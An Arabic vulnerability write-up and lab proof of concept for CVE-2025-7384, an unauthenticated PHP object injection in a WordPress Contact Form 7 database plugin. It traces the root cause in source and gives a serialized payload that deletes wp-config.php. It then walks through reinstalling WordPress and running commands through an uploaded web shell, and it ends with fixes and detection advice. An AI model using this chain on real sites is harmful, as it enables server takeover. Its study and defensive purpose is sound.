
استغلال PoC وتحليل السبب الجذري لحقنة كائنات PHP حرجة غير مصادق عليها في WordPress Database for Contact Form 7، مما يؤدي إلى RCE عبر حذف ملفات تعسفي.
الملحق: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (حرج)
CWE: CWE-502 — إلغاء تسلسل بيانات غير موثوقة
متطلبات المصادقة: لا شيء (بدون مصادقة)
الأثر: تنفيذ الأوامر عن بُعد
يحتوي الملحق "Database for Contact Form 7" (المعرّف: contact-form-entries) الإصدار 1.4.3 وما دون على ثغرة حقن كائنات PHP. عندما يعرض مدير ووردبريس سجل نموذج (إدخال) داخل لوحة الإدارة، يستدعي الملحق الدالة maybe_unserialize() مباشرة على بيانات أرسلها مستخدم غير مصادق عبر Contact Form 7، دون التحكم في قائمة الفئات المسموح بإنشائها.
لا يحتاج المهاجم إلى تسجيل الدخول — بل يكفي أن يقدم نموذج اتصال عادي مع إدراج كائن PHP متسلسل في أي حقل من حقول النموذج. تُخزَّن هذه البيانات خامًا في قاعدة البيانات. عندما يفتح المدير عرض هذا الإدخال، تقوم دالة إلغاء التسلسل بإنشاء كائن من اختيار المهاجم، مما يؤدي إلى تشغيل دوال سحرية مثل __destruct() أو __wakeup() → تنفيذ سلوك تعسفي اعتمادًا على أدوات POP المتاحة في بيئة ووردبريس.
مستوى الخطورة: مع أداة POP مناسبة (على سبيل المثال، فئة تستدعي دالة
__destruct()الخاصة بهاunlink())، يمكن للمهاجم حذف ملفwp-config.php، مما يعيد ووردبريس إلى شاشة التثبيت الأولية → إعادة التثبيت بحساب مدير يتحكم فيه المهاجم → تثبيت ملحق يحتوي قشرة ويب → تحقيق تنفيذ كامل للأوامر عن بُعد (RCE) على الخادم.
تستخدم PHP الدالة serialize() لتحويل كائن إلى سلسلة نصية منظمة، والدالة unserialize() لاستعادة الكائن من تلك السلسلة. عندما تستقبل unserialize() بيانات من مصدر غير موثوق (مثل إدخال المستخدم)، يمكن للمهاجم إنشاء كائن تعسفي ينتمي إلى أي فئة محملة حاليًا في ذاكرة PHP في تلك اللحظة.
دوال خاصة تستدعيها PHP تلقائيًا أثناء دورة حياة الكائن. الأكثر أهمية في هذا السياق:
__wakeup() — تُستدعى فورًا عند إلغاء تسلسل كائن__destruct() — تُستدعى عند تدمير كائن (يخرج عن النطاق، أو تنتهي الطلبية)__toString() — تُستدعى عند تحويل كائن إلى سلسلةتقنية لربط عدة دوال سحرية من فئات موجودة داخل التطبيق لبناء سلسلة سلوكيات خطيرة. لا يكتب المهاجم كودًا جديدًا — بل يتلاعب فقط بخصائص الكائنات الموجودة بحيث تنفذ الدوال السحرية إجراءات لم يقصدها المطورون.
maybe_unserialize() في ووردبريسدالة غلاف في نواة ووردبريس. تستدعي is_serialized() للتحقق مما إذا كانت السلسلة بيانات متسلسلة — إذا كان الأمر كذلك، تستدعي unserialize() لاستعادة الكائن. المشكلة: هذه الدالة لا تمرر معامل allowed_classes (المتوفر منذ PHP 7.0) لتقييد الفئات المسموح بإنشائها.
ابدأ بفحص الكود المصدري الكامل للملحق لتحديد دوال إلغاء التسلسل — فهذه أخطر الدوال في PHP لأنها قد تؤدي إلى حقن الكائنات:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

يكشف الإخراج عن عدة مواضع استدعاء لـ maybe_unserialize()، أبرزها داخل includes/data.php السطر 545 ضمن الدالة verify_val():

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
السؤال الأساسي: من أين يأتي المتغير $string؟ إذا جاء من إدخال المستخدم دون تصفية → فهذه ثغرة.
ابحث عن مكان استدعاء verify_val(). تتبع للخلف في نفس ملف data.php:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string هو بالضبط $v['value'] — القيم المسترجعة من جدول قاعدة البيانات wp_vxcf_leads_detail. تُستدعى هذه الدالة عندما يعرض المدير تفاصيل إدخال نموذج.
السؤال التالي: من أين تأتي البيانات الموجودة في wp_vxcf_leads_detail؟ من يكتبها؟
من الخطوة 2، نعلم أن البيانات تُسحب من قاعدة البيانات. السؤال التالي: من يكتب البيانات فيها؟ ابحث عن استعلامات INSERT داخل data.php:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

افتح كود الدالة create_lead() (الأسطر 85-103) للتفاصيل:

في السطرين 98-99، تُدرج القيمة $v — وهي محتوى حقل نموذج (مثل your-message) — مباشرة في قاعدة البيانات عبر $wpdb->insert(). يربط الملحق نفسه بحدث wpcf7_before_send_mail الخاص بـ Contact Form 7، لذا كلما قدم مستخدم نموذجًا، تُخزَّن جميع الحقول خامًا.
فحص إضافي: يستخدم الملحق بالفعل sanitize_text_field() و sanitize_textarea_field() قبل الحفظ، لكن هاتين الدالتين تزيلان فقط وسوم HTML والأحرف الخاصة — والحمولة المتسلسلة مثل O:21:"VulnerableFileHandler":2:{...} لا تحتوي على أي وسوم HTML وبالتالي تمرّ كاملة دون تغيير.
عند هذه النقطة، يتضح التدفق الكامل:
Unauthenticated user submits CF7 form (your-message field contains serialized object)
↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
↓
Admin views entry → get_lead_detail() → verify_val()
↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
↓
Object's __destruct() executes → performs attacker-controlled action
السبب الجذري: تُستدعى الدالة
maybe_unserialize()عندdata.php:545على بيانات أصلها إدخال مستخدم غير مصادق، دون تمريرallowed_classes: false. يحتاج المهاجم فقط إلى إرسال كائن PHP متسلسل عبر حقلyour-messageفي نموذج CF7 → عندما يعرض المدير الإدخال، ينشئ PHP الكائن ويطلق الدالة السحرية__destruct().
للإثبات البصري، عيّن نقطة توقف باستخدام Xdebug عند السطر 545 من data.php. بعد حقن الحمولة عبر النموذج وقيام المدير بعرض الإدخال، يتوقف المصحح تمامًا عند maybe_unserialize():

لوحة المتغيرات تعرض $string وهي تحمل حمولة المهاجم:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → انتقلت الحمولة من النموذج → قاعدة البيانات → دالة إلغاء التسلسل دون أن تُحجبسطر التنفيذ:
$string=maybe_unserialize($string);مكدس الاستدعاءات يظهر تسلسل استدعاء الدوال:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ يؤكد التدفق الذي تم تحليله بالضبط: يعرض المدير الإدخال → get_entries() → verify_val() → maybe_unserialize().
تتكون سلسلة الهجوم من 5 مراحل. يحتاج المهاجم فقط إلى تنفيذ المرحلة 1 (تقديم النموذج). تحدث المراحل 2-5 تلقائيًا بعد أن يعرض المدير الإدخال.
يقدم المهاجم نموذج CF7 مع كائن PHP متسلسل في حقل الرسالة.
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message يحتوي: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail — الدالة sanitize_text_field() لا تمنع السلاسل المتسلسلةيفتح المدير صفحة سجلات نماذج الاتصال → يعرض تفاصيل الإدخال → يستدعي الملحق verify_val() → maybe_unserialize().
VulnerableFileHandler مع file_path = "/var/www/html/wp-config.php" و cleanup = true__destruct() → unlink("/var/www/html/wp-config.php")يُحذف ملف wp-config.php → يفقد ووردبريس اتصال قاعدة البيانات.
http://target/ → يعيد التوجيه تلقائيًا إلى /wp-admin/setup-config.php (شاشة الإعداد الأولي)يعيد المهاجم تثبيت ووردبريس باستخدام بيانات اعتماد قاعدة بيانات معروفة (أو مخمَّنة بالقوة).
تثبيت ملحق يحتوي قشرة ويب → تنفيذ أوامر نظام تعسفية.
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → اكتمل RCEشغّل مختبر Docker الذي يحتوي ووردبريس + الملحق الثغري:
cd CVE-2025-7384
docker-compose up --build -d
انتظر حوالي 40 ثانية حتى تعرض السجلات LAB READY. افتح http://localhost:8181 للتحقق من أن ووردبريس يعمل.
من تحليل الكود المصدري في القسم 3، نعلم:
data.php:545 — maybe_unserialize() على قيم حقول النموذجwp_vxcf_leads_detail — البيانات تأتي من نموذج CF7sanitize_text_field() — لا تمنع السلاسل المتسلسلة→ الخلاصة: يكفي إرسال كائن PHP متسلسل في أي حقل من حقول نموذج CF7. اختر your-message لأنه حقل textarea، يقبل سلاسل طويلة، وتحقق التنسيق فيه أقل صرامة (على عكس your-email الذي يتطلب تنسيق بريد إلكتروني).
افتح http://localhost:8181/contact/، واملأ النموذج كما يلي:
| الحقل | القيمة |
|---|---|
| الاسم | dung |
| البريد الإلكتروني | [email protected] |
| الموضوع | test inject |
| الرسالة | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

شرح الحمولة:
O:21:"VulnerableFileHandler" — ينشئ الفئة VulnerableFileHandler (التي تحتوي __destruct() تستدعي unlink())s:9:"file_path";s:27:"/var/www/html/wp-config.php" — خاصية file_path تشير إلى الملف الهدف المراد حذفهs:7:"cleanup";b:1 — الخاصية cleanup = true بحيث ينفذ __destruct() الدالة unlink()انقر إرسال. يعرض النموذج رسالة خطأ في إرسال البريد (أو نجاح) — لا يهم، لأن ملحق contact-form-entries حفظ جميع البيانات في قاعدة البيانات قبل تسليم البريد.
سجّل الدخول إلى http://localhost:8181/wp-admin (admin / admin123) → من القائمة اليسرى اختر إدخالات CRM → انقر لعرض الإدخال المستلم.

هذه هي اللحظة التي يصل فيها التنفيذ إلى data.php:545 — يسترجع الملحق قيمة your-message من قاعدة البيانات، يعيد فحص is_serialized() قيمة true، يستدعي maybe_unserialize() → ينشئ PHP كائن VulnerableFileHandler → تنتهي الطلبية، ينفذ __destruct() → unlink("/var/www/html/wp-config.php").
انتقل إلى http://localhost:8181/ في المتصفح → يعيد ووردبريس التوجيه إلى صفحة /wp-admin/setup-config.php (شاشة الإعداد الأولي) → تم حذف ملف wp-config.php بنجاح.

مع حذف wp-config.php، يعود ووردبريس إلى الحالة غير المثبتة. خطوات المهاجم:
الخطوة 1 — إعادة تثبيت ووردبريس:
افتح http://localhost:8181/wp-admin/setup-config.php → أدخل بيانات اعتماد قاعدة البيانات:
| الحقل | القيمة |
|---|---|
| اسم قاعدة البيانات | wordpress |
| اسم المستخدم | wpuser |
| كلمة المرور | wppass |
| مضيف قاعدة البيانات | db |
انقر إرسال → قم بتشغيل التثبيت → أنشئ حساب مدير جديد يتحكم فيه المهاجم.
الخطوة 2 — رفع قشرة الويب:
سجّل الدخول إلى لوحة تحكم المدير → الإضافات → إضافة جديد → رفع إضافة → ارفع ملف system-health.zip (أو system-monitor.zip).

تم الرفع والتفعيل بنجاح.
الخطوة 3 — تنفيذ الأوامر (RCE):
الوصول إلى: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

الإخراج: uid=33(www-data) gid=33(www-data) → اكتمل تنفيذ الأوامر عن بُعد
الوصول إلى: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

الإخراج: www-data → اكتمل تنفيذ الأوامر عن بُعد
*تفاعل المستخدم: يصنفه NVD على أنه لا شيء لأن عرض المدير لإدخالات النماذج سلوك متوقع، وليس تفاعل مستخدم غير طبيعي.
لا تستخدم maybe_unserialize() على بيانات مقدمة من المستخدم. استخدم json_decode() بدلًا منها عندما يكون تخزين بيانات مهيكلة مطلوبًا.
إذا كان إلغاء التسلسل ضروريًا للغاية، مرّر خيار allowed_classes: false (PHP 7.0+):
$data = unserialize($string, ['allowed_classes' => false]);
يمنع ذلك PHP من إنشاء أي كائنات — مما يسمح فقط بالأنواع العددية والمصفوفات.
/^[OaCis]:\d+/ (مؤشر على بيانات متسلسلة).wp_vxcf_leads_detail بحثًا عن إدخالات تحتوي سلاسل تطابق تنسيق O:XX:"ClassName": — وجودها يشير إلى محاولات هجومwp-config.php لديه صلاحيات ملفات مقيدة (440 أو 400) — مما يقلل احتمالية حذفه بواسطة عملية خادم الويب// BEFORE (vulnerable):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// AFTER (patched):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}
| السمة | القيمة |
|---|
| معرّف CVE | CVE-2025-7384 |
| درجة CVSS | 9.8 (حرج) |
| CWE | CWE-502 — إلغاء تسلسل بيانات غير موثوقة |
| الملحق المتأثر | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| متطلبات المصادقة | لا شيء — أي شخص يقدم نموذج CF7 يمكنه حقن الحمولة |
| شرط التفعيل | يعرض المدير الإدخال المحقون في لوحة الإدارة |
| أقصى أثر | تنفيذ الأوامر عن بُعد بدون مصادقة |
| الإصدار المُصحَّح | 1.4.4+ (يستبدل unserialize بـ json_decode أو allowed_classes: false) |
| بادئة الجداول | wp_ |
| مقياس CVSS | القيمة | الشرح |
|---|
| ناقل الهجوم | شبكة | يُستغل عبر HTTP، لا حاجة لوصول فيزيائي |
| تعقيد الهجوم | منخفض | يتطلب إرسال طلب POST واحد فقط يحتوي الحمولة |
| الصلاحيات المطلوبة | لا شيء | لا يتطلب مصادقة — نموذج CF7 مفتوح للعامة |
| تفاعل المستخدم | لا شيء* | يعرض المدير الإدخالات ضمن سير العمل الروتيني |
| السرية | عالية | RCE يسمح بقراءة أي ملف على الخادم |
| السلامة | عالية | RCE يسمح بكتابة/تعديل أي ملف |
| التوفر | عالٍ | حذف wp-config.php يعطل الموقع بالكامل |